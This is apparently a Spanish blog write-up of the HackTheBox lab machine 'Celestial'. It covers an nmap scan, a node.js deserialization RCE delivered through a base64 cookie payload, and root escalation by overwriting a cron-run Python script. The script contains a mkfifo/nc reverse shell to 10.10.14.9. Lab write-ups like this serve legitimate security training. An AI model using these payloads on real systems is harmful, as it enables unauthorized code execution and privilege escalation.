En este post haremos la máquina Celestial de HackTheBox.Es una maquina Linux de un nivel bajo
Mi nick en HackTheBox es: manulqwerty
Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.
Write-Up
Enumeración
Como siempre, lo primero sera un escaneo de puertos con nmap:
nmap -sC -sV 10.10.10.85
Tenemos un servicio http en el puerto 3000, vamos a revisarlo:
Vamos a interceptar la request con BurpSuite:
Como veis, la Cookie Profile parece ser un Base 64, nos ayudaremos del Decoder de BurpSuite:
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}
Si modificamos el valor del campo ‘num’ por, por ejemplo, 4 y volvemos a encodear, vemos que la respuesta sera:
Hey Dummy 4 + 4 is 44
En cambio si modficamos erróneamente la cookie, obtendremos algo mas de información:
Explotación
Busquemos vulnerabilidades sobre las cookies en node.js
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
Siguiendo la guía, podremos obtener RCE con este valor de la cookie:
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ping -c 10.10.14.16 /',function(error, stdout, stderr) { console.log(stdout) });\n }()"}
Y con ayuda del Reverse Shell Cheat-Sheet podremos obtener reverse shell facilmente:
Post-Explotación
Como veis, el usuario con el que obtenemos shell forma parte de algunos grupos interesantes:
Aprovechando que formamos parte del grupo adm, podremos leer los logs del sistema:
cat /var/log/syslog
En este fichero vemos que cada 5 minutos se ejecuta como root el fichero /home/sun/Documents/script.py
El siguiente paso será editar dicho fichero con una reverse shell:
#!/usr/bin/env python import os import sys try: os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 7777 >/tmp/f') except: sys.exit()
Deja una respuesta